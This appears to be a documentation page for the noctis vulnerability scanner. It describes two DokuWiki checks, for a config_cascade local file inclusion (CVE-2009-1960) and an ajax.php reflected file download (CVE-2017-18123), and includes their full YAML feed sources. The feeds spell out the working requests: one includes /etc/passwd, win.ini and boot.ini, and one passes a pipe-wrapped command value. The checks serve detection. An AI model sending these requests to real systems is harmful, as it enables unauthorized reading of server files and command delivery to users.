DokuWiki — 2 vulnerability checks
noctis ships 2 vulnerability checks for DokuWiki, covering 2 CVEs; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
DokuWiki doku.php config_cascade Local File Inclusion
| CVE | CVE-2009-1960 |
|---|---|
| Severity | critical · CVSS 9.3 |
| Category | file-read — File read |
| Services | http, https |
| Detection | set_var, http_request, match, script · highest QoD 75 |
| Feed | tests/vulnerabilities/dokuwiki/CVE-2009-1960.yaml |
Tests DokuWiki for the config_cascade local file inclusion of the 2009-02-14 release, reachable when PHP register_globals is enabled. The feed requests doku.php with config_cascade[main][default][]= set to /etc/passwd (or c:/windows/win.ini and c:/boot.ini on Windows), under the web root and the usual /dokuwiki, /wiki and /doku install paths. DokuWiki includes that file as a configuration file, so its content in the reply confirms the inclusion. A control request for an absent random file must not return any of these files, so a server that serves the same content on every request is not reported. Only world-readable system files are read; root's password field is redacted from the evidence.
How noctis detects it
- HTTP(S) request
GET {{dir}}/doku.php?config_cascade[main][default][]=/etc/passwd - Checks
passwd_r.bodyfor(?m)^root:[^:\r\n]*:0:[01]:([^:\r\n]*:[^:\r\n]*:[^:\r\n]*)\r?$ - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/doku.php?config_cascade[main][default][]=c:/windows/win.ini - Checks
winini_r.bodyfor(?i)(; for 16-bit app support|\[fonts\]) - HTTP(S) request
GET {{dir}}/doku.php?config_cascade[main][default][]=c:/boot.ini - Checks
bootini_r.bodyfor(?i)\[boot loader\] - HTTP(S) request
GET {{dir}}/doku.php?config_cascade[main][default][]=/etc/passwd.win.ini.boot.ini.noctis-… - Checks
ctrl_r.bodyfor(?mi)(^root:[^:\r\n]*:0:[01]:|; for 16-bit app support|\[fonts\]|\[bo… - Checks
lin_prooffor^root:<redacted>:0:0:→ finding QoD 75: DokuWiki doku.php config_cascade Local File Inclusion (CVE-2009-1960) - Checks
win_filefor^c:/(windows/win\.ini|boot\.ini)$→ finding QoD 75: DokuWiki doku.php config_cascade Local File Inclusion (CVE-2009-1960)
References:
- https://nvd.nist.gov/vuln/detail/CVE-2009-1960
- https://www.exploit-db.com/exploits/8781
- https://www.exploit-db.com/exploits/8812
- http://www.securityfocus.com/bid/35095
Feed source — tests/vulnerabilities/dokuwiki/CVE-2009-1960.yaml
# DokuWiki config_cascade local file inclusion — CVE-2009-1960
#
# DokuWiki 2009-02-14 (and rc2009-01-30 / rc2009-02-06) builds its
# configuration cascade in inc/init.php only "if (empty($config_cascade))",
# then include()s every file listed in $config_cascade['main']['default'].
# With PHP register_globals enabled, the request parameter
# config_cascade[main][default][]=<path> pre-fills that global, so doku.php
# include()s (and executes) any local file the web server can read. Fixed in
# 2009-02-14b, which resets $config_cascade before the preload hook.
#
# Detection (benign, read-only): GET
# <dir>/doku.php?config_cascade[main][default][]=/etc/passwd
# and match the file CONTENT (root:...:0:0:) in the reply; on Windows
# installs, c:/windows/win.ini then c:/boot.ini ("[fonts]",
# "; for 16-bit app support", "[boot loader]"). QoD 75 (response analysis).
# A plain text file holds no PHP code, so include() only prints it.
#
# Improvements over the source NASL:
# - A control request (same parameter, absent random file) must come back
# WITHOUT any file signature; a server that returns the same file on every
# request is therefore not reported (fail-closed: no control reply → no
# finding). The absent name contains etc/passwd, win.ini and boot.ini, so
# a honeypot keying a fake file on those substrings is caught too.
# - The NASL needs its DokuWiki product detection for the install dir; this
# feed tries "", /dokuwiki, /wiki and /doku directly.
# - The NASL prefixes "/" to its relative traversal file names, which gives
# "//windows/win.ini" — a UNC path on Windows that never opens. This feed
# sends drive-qualified c:/windows/win.ini and c:/boot.ini instead.
# - root's password field from /etc/passwd is redacted before it can reach
# the finding (only gecos:home:shell are kept).
#
# Ported from OpenVAS/Greenbone NVT 2009/gb_dokuwiki_local_file_inc_vuln.nasl
# (GPL-2.0-only). Vulnerable/fixed code: DokuWiki inc/init.php at
# release-2009-02-14 vs release-2009-12-02rc; public exploits exploit-db 8781/8812.
uid: f299ad6a-9e5c-47b4-a196-94bb382eb004
name: "DokuWiki doku.php config_cascade Local File Inclusion (CVE-2009-1960)"
description: |
Tests DokuWiki for the config_cascade local file inclusion of the
2009-02-14 release, reachable when PHP register_globals is enabled. The
feed requests doku.php with config_cascade[main][default][]= set to
/etc/passwd (or c:/windows/win.ini and c:/boot.ini on Windows), under the
web root and the usual /dokuwiki, /wiki and /doku install paths. DokuWiki
includes that file as a configuration file, so its content in the reply
confirms the inclusion. A control request for an absent random file must not
return any of these files, so a server that serves the same content on every
request is not reported. Only world-readable system files are read; root's
password field is redacted from the evidence.
cves: [CVE-2009-1960]
cvss: 9.3
severity: critical
category: file-read
confidence_base: 0.30
tags: [dokuwiki, lfi, file-inclusion, file-read, register-globals, php]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2009-1960"
- "https://www.exploit-db.com/exploits/8781"
- "https://www.exploit-db.com/exploits/8812"
- "http://www.securityfocus.com/bid/35095"
# OpenVAS/Greenbone NASL 2009/gb_dokuwiki_local_file_inc_vuln.nasl (GPL-2.0-only)
steps:
# ── Loop group: every following step runs once per install dir. Each pass
# resets the values it reads, so nothing is left over from the previous dir.
- id: init-passwd-r
action: set_var
var_name: passwd_r
var_value: {status: 0, body: ""}
loop:
var: dir
over: ["", "/dokuwiki", "/wiki", "/doku"]
- id: init-lin-proof
action: set_var
var_name: lin_proof
var_value: ""
- id: init-win-file
action: set_var
var_name: win_file
var_value: ""
- id: init-winini-r
action: set_var
var_name: winini_r
var_value: {status: 0, body: ""}
- id: init-bootini-r
action: set_var
var_name: bootini_r
var_value: {status: 0, body: ""}
- id: init-ctrl-r
action: set_var
var_name: ctrl_r
var_value: {status: 0, body: ""}
- id: init-ctrl-hit
action: set_var
var_name: ctrl_hit
var_value: false
# ── Linux: /etc/passwd ───────────────────────────────────────────────────
- id: read-passwd
action: http_request
method: GET
path: "{{dir}}/doku.php?config_cascade[main][default][]=/etc/passwd"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: passwd_r
# No on_match: the raw body (root's password field) must not become evidence.
- id: passwd-content
action: match
source: passwd_r.body
pattern: "(?m)^root:[^:\\r\\n]*:0:[01]:([^:\\r\\n]*:[^:\\r\\n]*:[^:\\r\\n]*)\\r?$"
store_as: passwd_m
- id: passwd-redact
action: script
code: |
if passwd_m.matched && passwd_m.captures.len() > 0 {
"root:<redacted>:0:0:" + passwd_m.captures[0]
} else { "" }
store_as: lin_proof
# ── Windows: c:/windows/win.ini, then c:/boot.ini (older Windows) ────────
- id: read-winini
action: http_request
method: GET
path: "{{dir}}/doku.php?config_cascade[main][default][]=c:/windows/win.ini"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: 'lin_proof == "" && passwd_r.status != 0'
store_as: winini_r
- id: winini-content
action: match
source: winini_r.body
pattern: "(?i)(; for 16-bit app support|\\[fonts\\])"
condition: 'lin_proof == "" && passwd_r.status != 0'
on_match:
set_vars:
win_file: "c:/windows/win.ini"
- id: read-bootini
action: http_request
method: GET
path: "{{dir}}/doku.php?config_cascade[main][default][]=c:/boot.ini"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: 'lin_proof == "" && win_file == "" && passwd_r.status != 0'
store_as: bootini_r
- id: bootini-content
action: match
source: bootini_r.body
pattern: "(?i)\\[boot loader\\]"
condition: 'lin_proof == "" && win_file == "" && passwd_r.status != 0'
on_match:
set_vars:
win_file: "c:/boot.ini"
# ── Control: same parameter, absent random file — must NOT carry a file ──
# The absent name still contains etc/passwd, win.ini and boot.ini, so a
# honeypot that keys a fake file on those substrings answers it too.
- id: control
action: http_request
method: GET
path: "{{dir}}/doku.php?config_cascade[main][default][]=/etc/passwd.win.ini.boot.ini.noctis-absent-{{oob_token}}"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: 'lin_proof != "" || win_file != ""'
store_as: ctrl_r
- id: control-content
action: match
source: ctrl_r.body
pattern: "(?mi)(^root:[^:\\r\\n]*:0:[01]:|; for 16-bit app support|\\[fonts\\]|\\[boot loader\\])"
condition: 'lin_proof != "" || win_file != ""'
on_match:
set_vars:
ctrl_hit: true
# ── Findings (control answered and stayed clean) ─────────────────────────
- id: report-passwd
action: match
source: lin_proof
pattern: "^root:<redacted>:0:0:"
condition: "ctrl_r.status != 0 && ctrl_hit == false"
on_match:
finding:
title: "DokuWiki doku.php config_cascade Local File Inclusion (CVE-2009-1960)"
description: "An unauthenticated request to doku.php with config_cascade[main][default][]=/etc/passwd returned the content of /etc/passwd, which DokuWiki included as a configuration file, while the same request for an absent file did not."
remediation: "Upgrade DokuWiki to 2009-02-14b or later and disable PHP register_globals."
confidence_delta: 0.55
qod: 75
evidence: "{{dir}}/doku.php?config_cascade[main][default][]=/etc/passwd returned /etc/passwd; control for an absent file returned no file content ({{lin_proof}})"
stop: true
- id: report-windows
action: match
source: win_file
pattern: "^c:/(windows/win\\.ini|boot\\.ini)$"
condition: "ctrl_r.status != 0 && ctrl_hit == false"
on_match:
finding:
title: "DokuWiki doku.php config_cascade Local File Inclusion (CVE-2009-1960)"
description: "An unauthenticated request to doku.php with config_cascade[main][default][] pointing at a Windows system file returned that file's content, which DokuWiki included as a configuration file, while the same request for an absent file did not."
remediation: "Upgrade DokuWiki to 2009-02-14b or later and disable PHP register_globals."
confidence_delta: 0.55
qod: 75
evidence: "{{dir}}/doku.php?config_cascade[main][default][]={{win_file}} returned the content of {{win_file}}; control for an absent file returned no file content"
stop: trueDokuWiki ajax.php Reflected File Download
| CVE | CVE-2017-18123 |
|---|---|
| Severity | high · CVSS 8.6 |
| Category | xss — XSS |
| Services | http, https |
| Detection | script, set_var, http_request, match · highest QoD 75 |
| Feed | tests/vulnerabilities/dokuwiki/CVE-2017-18123.yaml |
Tests DokuWiki for the reflected file download in lib/exe/ajax.php (2017-02-19e and older). The feed requests ajax.php with the call parameter set to a random marker wrapped in pipe characters, under the web root and the usual /dokuwiki, /wiki and /doku install paths. A vulnerable DokuWiki answers with "AJAX call '||<marker>||' unknown!", keeping the pipe characters that let a crafted link deliver a file a Windows command interpreter would run. A fixed DokuWiki strips the pipes from the reply. The marker is random for each scan, so a page that always prints the same text is not reported. The request only triggers an error message and changes nothing on the server.
How noctis detects it
- Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/lib/exe/ajax.php?call=%7c%7c{{tok}}%7c%7c - Parses / computes the next value with a Rhai script
- Checks
rfd_prooffor^AJAX call '\|\|noctis[0-9a-f]{12}\|\|' unknown!$→ finding QoD 75: DokuWiki ajax.php Reflected File Download (CVE-2017-18123)
References:
- https://nvd.nist.gov/vuln/detail/CVE-2017-18123
- https://github.com/splitbrain/dokuwiki/issues/2029
- https://github.com/splitbrain/dokuwiki/pull/2019
- https://github.com/splitbrain/dokuwiki/commit/238b8e878ad48f370903465192b57c2072f65d86
- https://hackerone.com/reports/238316
Feed source — tests/vulnerabilities/dokuwiki/CVE-2017-18123.yaml
# DokuWiki ajax.php reflected file download — CVE-2017-18123
#
# lib/exe/ajax.php answers an unknown "call" with
# print "AJAX call '".htmlspecialchars($call)."' unknown!\n";
# htmlspecialchars() leaves shell metacharacters such as "|" untouched, so a
# link to ajax.php?call=||cmd|| makes the browser download a reply that a
# Windows command interpreter runs as "cmd" (reflected file download).
# DokuWiki 2017-02-19e and older are affected; commit 238b8e8 (release
# 2018-04-22) filters the parameter through utf8_stripspecials(), which
# removes "|", so the reply then reads "AJAX call 'cmd' unknown!".
#
# Detection (benign, read-only): GET <dir>/lib/exe/ajax.php?call=||<marker>||
# (sent URL-encoded as %7c), where <marker> is random per scan, and require a
# 200 reply carrying "AJAX call '||<marker>||' unknown!" verbatim. QoD 75.
#
# Improvements over the source NASL:
# - A random marker per scan instead of the fixed "||calc||", so a page
# that prints the well-known reply on every request is not reported.
# - The NASL needs its DokuWiki product detection for the install dir; this
# feed tries "", /dokuwiki, /wiki and /doku directly.
#
# Ported from OpenVAS/Greenbone NVT 2018/dokuwiki/gb_dokuwiki_file_download_vuln.nasl
# (GPL-2.0-only). Vulnerable/fixed code: DokuWiki lib/exe/ajax.php at
# release-2017-02-19e vs commit 238b8e878ad48f370903465192b57c2072f65d86.
uid: 443843ab-187c-419e-b805-b0aabaa05aa6
name: "DokuWiki ajax.php Reflected File Download (CVE-2017-18123)"
description: |
Tests DokuWiki for the reflected file download in lib/exe/ajax.php
(2017-02-19e and older). The feed requests ajax.php with the call
parameter set to a random marker wrapped in pipe characters, under the web
root and the usual /dokuwiki, /wiki and /doku install paths. A vulnerable
DokuWiki answers with "AJAX call '||<marker>||' unknown!", keeping the pipe
characters that let a crafted link deliver a file a Windows command
interpreter would run. A fixed DokuWiki strips the pipes from the reply.
The marker is random for each scan, so a page that always prints the same
text is not reported. The request only triggers an error message and
changes nothing on the server.
cves: [CVE-2017-18123]
cvss: 8.6
severity: high
category: xss
confidence_base: 0.30
tags: [dokuwiki, reflected-file-download, rfd, xss, php]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2017-18123"
- "https://github.com/splitbrain/dokuwiki/issues/2029"
- "https://github.com/splitbrain/dokuwiki/pull/2019"
- "https://github.com/splitbrain/dokuwiki/commit/238b8e878ad48f370903465192b57c2072f65d86"
- "https://hackerone.com/reports/238316"
# OpenVAS/Greenbone NASL 2018/dokuwiki/gb_dokuwiki_file_download_vuln.nasl (GPL-2.0-only)
steps:
# Random marker for this scan (letters and hex digits only).
- id: marker
action: script
code: |
"noctis" + oob_token.sub_string(0, 8) + oob_token.sub_string(9, 4)
store_as: tok
# ── Loop group: every following step runs once per install dir. Each pass
# resets the values it reads, so nothing is left over from the previous dir.
- id: init-probe-r
action: set_var
var_name: probe_r
var_value: {status: 0, body: ""}
loop:
var: dir
over: ["", "/dokuwiki", "/wiki", "/doku"]
- id: probe
action: http_request
method: GET
path: "{{dir}}/lib/exe/ajax.php?call=%7c%7c{{tok}}%7c%7c"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: probe_r
# The exact reply line, pipes kept, with this scan's marker — or "".
- id: reflection
action: script
code: |
let want = "AJAX call '||" + tok + "||' unknown!";
if probe_r.status == 200 && type_of(probe_r.body) == "string" && probe_r.body.contains(want) { want } else { "" }
store_as: rfd_proof
- id: report
action: match
source: rfd_proof
pattern: "^AJAX call '\\|\\|noctis[0-9a-f]{12}\\|\\|' unknown!$"
on_match:
finding:
title: "DokuWiki ajax.php Reflected File Download (CVE-2017-18123)"
description: "An unauthenticated request to lib/exe/ajax.php with call=||<marker>|| was answered with the marker and its pipe characters unencoded. An attacker can craft a link whose downloaded reply runs commands when opened by a Windows user."
remediation: "Upgrade DokuWiki to release 2018-04-22 or later (or apply commit 238b8e8, which filters special characters from the call parameter)."
confidence_delta: 0.55
qod: 75
evidence: "GET {{dir}}/lib/exe/ajax.php?call=%7c%7c{{tok}}%7c%7c returned HTTP 200 with: {{rfd_proof}}"
stop: true